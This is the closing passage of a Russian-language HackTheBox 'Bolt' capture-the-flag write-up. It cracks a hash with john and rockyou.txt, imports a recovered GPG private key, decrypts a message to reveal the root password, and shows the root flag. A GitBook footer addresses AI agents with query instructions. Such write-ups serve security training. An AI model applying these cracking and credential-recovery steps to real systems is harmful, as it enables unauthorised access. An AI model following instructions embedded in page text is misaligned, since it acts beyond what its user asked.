john -wordlist=/usr/share/wordlists/rockyou.txt hash
```

**Пароль найден**: `merrychristmas`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d7d50582221e06fc359d79a595c9c1b841a26195%2Fimage%20(2478).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Импорт приватного ключа и расшифровка сообщения

Мы импортируем закрытый ключ с помощью **gpg**

```bash
gpg --import private.key
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-405953b79fd0c9cde65f5165539c76f4312ab5b3%2F%7B5EA14975-3046-488B-A1E8-E7F78D4264F6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Затем мы расшифровываем зашифрованное сообщение (вероятно, содержащееся в `message.txt` файле, полученном из `secrets` базы данных):

```bash
gpg --decrypt message.txt
```

**Пароль root найден**: `Z(2rmxsNW(Z?3=p/9s`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b8bf5665a7bb1ab3b62542d47758c637558a98d%2Fimage%20(2479).png?alt=media" alt=""><figcaption></figcaption></figure>

### Флаг root.txt

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b056c4c6032c26d6014f5fc6f8d1c0218a07debd%2Fimage%20(2480).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c60759cfdbb546ae3182e076e7d787932b77a861%2F%7B375D3F1A-893C-4770-A12A-6868615E7521%7D.png?alt=media" alt="" width="529"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/bolt-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
